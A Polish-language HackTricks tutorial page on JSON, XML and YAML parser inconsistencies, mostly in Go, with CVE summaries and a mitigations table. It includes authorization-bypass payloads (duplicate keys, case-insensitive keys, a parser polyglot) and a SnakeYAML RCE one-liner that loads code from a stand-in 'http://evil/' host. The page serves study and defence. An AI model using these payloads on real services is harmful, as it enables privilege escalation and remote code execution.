JSON, XML & Yaml Hacking & Issues
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Go JSON Decoder
Następujące problemy wykryto w Go JSON, chociaż mogą występować także w innych językach. These issues were published in this blog post.
Parsery JSON, XML i YAML w Go mają długą historię niespójności i niebezpiecznych wartości domyślnych, które można wykorzystać do bypass authentication, escalate privileges, lub exfiltrate sensitive data.
(Un)Marshaling Unexpected Data
Celem jest wykorzystanie struktur, które pozwalają atakującemu na odczyt/zapis wrażliwych pól (np. IsAdmin, Password).
- Przykładowa struktura:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Typowe podatności
- Brakujący znacznik (brak tagu = pole nadal jest parsowane domyślnie):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Nieprawidłowe użycie
-:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Prawidłowy sposób zablokowania pola przed (de)serializacją:
type User struct {
IsAdmin bool `json:"-"`
}
Różnice parserów
Celem jest obejście autoryzacji przez wykorzystanie tego, że różne parsery interpretują ten sam payload inaczej, np.:
- CVE-2017-12635: Apache CouchDB bypass via duplicate keys
- 2022: Zoom 0-click RCE via XML parser inconsistency
- GitLab 2025 SAML bypass via XML quirks
1. Duplicate Fields:
Go’s encoding/json przyjmuje ostatnie pole.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Inne parsery (np. Java’s Jackson) mogą wybrać pierwszy.
2. Brak rozróżniania wielkości liter: Go nie rozróżnia wielkości liter:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Nawet sztuczki Unicode działają:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Niezgodność między usługami: Wyobraź sobie:
- Proxy napisany w Go
- usługa AuthZ napisana w Pythonie
Atakujący wysyła:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python widzi
UserActioni zezwala - Go widzi
AdminActioni wykonuje
Zamieszanie formatów danych (Polyglots)
Celem jest wykorzystanie systemów, które mieszają formaty (JSON/XML/YAML) lub pozostają otwarte przy błędach parsera, np.:
- CVE-2020-16250: HashiCorp Vault parsował JSON przy użyciu parsera XML, po tym jak STS zwrócił JSON zamiast XML.
Atakujący kontroluje:
- Nagłówek
Accept: application/json - Częściowa kontrola nad treścią JSON
Parser XML w Go i tak to sparsował i zaufał wstrzykniętej tożsamości.
- Skomponowany payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Wynik:
- Go JSON parser:
Action_2(ignoruje wielkość liter + ostatni ma priorytet) - YAML parser:
Action_1(rozróżnia wielkość liter) - XML parser: parsuje
"Action_3"wewnątrz stringa
Znaczące podatności parserów (2023-2025)
Poniższe publicznie wykorzystywalne luki pokazują, że niebezpieczne parsowanie to problem wielojęzykowy — nie tylko problem Go.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Dotyczy:
org.yaml:snakeyaml< 2.0 (używany przez Spring-Boot, Jenkins itp.). - Przyczyna:
new Constructor()deserializuje dowolne klasy Java, co umożliwia łańcuchy gadgetów prowadzące do zdalnego wykonania kodu. - One-liner PoC (otworzy kalkulator na podatnym hoście):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Poprawka / Mitigacja:
- Zaktualizuj do ≥2.0 (domyślnie używa
SafeLoader). - W starszych wersjach jawnie użyj
new Yaml(new SafeConstructor()).
libyaml Double-Free (CVE-2024-35325)
- Dotyczy:
libyaml≤0.2.5 (biblioteka C wykorzystywana przez wiele powiązań językowych). - Problem: Wywołanie
yaml_event_delete()dwukrotnie prowadzi do double-free, które atakujący mogą wykorzystać do DoS lub, w niektórych scenariuszach, heap exploitation. - Status: Upstream odrzucił jako “API misuse”, ale dystrybucje Linuxa wysłały poprawioną wersję 0.2.6, która defensywnie ustawia wskaźnik na null przy zwalnianiu.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Dotyczy: Tencent RapidJSON przed commitem
8269bc2(<1.1.0-patch-22). - Błąd: W
GenericReader::ParseNumber()niezweryfikowane operacje arytmetyczne pozwalają atakującym skonstruować ogromne literały numeryczne, które zawijają się i uszkadzają heap — co ostatecznie umożliwia privilege-escalation, gdy powstały graf obiektów jest używany do decyzji autoryzacyjnych.
🔐 Środki zaradcze (zaktualizowane)
| Ryzyko | Poprawka / Rekomendacja |
|---|---|
| Nieznane pola (JSON) | decoder.DisallowUnknownFields() |
| Duplikaty pól (JSON) | ❌ Brak poprawki w stdlib — sprawdź za pomocą jsoncheck |
| Dopasowanie ignorujące wielkość liter (Go) | ❌ Brak poprawki — zwaliduj tagi struct + wstępnie kanonizuj wejście |
| Nieprawidłowe dane XML / XXE | Użyj wzmocnionego parsera (encoding/xml + DisallowDTD) |
| Nieznane klucze YAML | yaml.KnownFields(true) |
| Niebezpieczna deserializacja YAML | Użyj SafeConstructor / zaktualizuj do SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 double-free | Zaktualizuj do 0.2.6 lub wydania poprawionego przez dystrybucję |
| RapidJSON <patched commit | Kompiluj z najnowszym RapidJSON (≥lipiec 2024) |
Zobacz też
Źródła
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

